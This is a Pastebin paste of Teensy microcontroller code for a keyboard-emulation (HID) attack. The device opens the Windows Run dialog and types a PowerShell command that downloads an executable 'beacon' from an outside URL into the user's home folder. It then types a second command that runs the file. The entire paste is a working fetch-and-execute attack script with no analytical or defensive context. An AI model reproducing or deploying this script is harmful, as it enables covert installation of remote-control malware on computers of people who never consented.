int0x76

Teensy: Powershell - Fetch and launch beacon

May 10th, 2014
292
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.58 KB | None | 0 0
  1. char *command1 = "powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://security.it/beacon/wakka.exe';$file = ' %HOMEPATH%\\wakka.exe ';$clnt.DownloadFile($url,$file);";
  2. char *command2 = "%HOMEPATH%\\wakka.exe";
  3.  
  4. void setup() {
  5. delay(5000);
  6. omg(command1);
  7. delay(15000);
  8. // run this executable
  9. omg(command2);
  10. }
  11.  
  12. void loop() {}
  13.  
  14. void omg(char *SomeCommand)
  15. {
  16. Keyboard.set_modifier(128);
  17. Keyboard.set_key1(KEY_R);
  18. Keyboard.send_now();
  19. Keyboard.set_modifier(0);
  20. Keyboard.set_key1(0);
  21. Keyboard.send_now();
  22. delay(1500);
  23. Keyboard.println(SomeCommand);
  24. }
Advertisement
Add Comment
Please, Sign In to add comment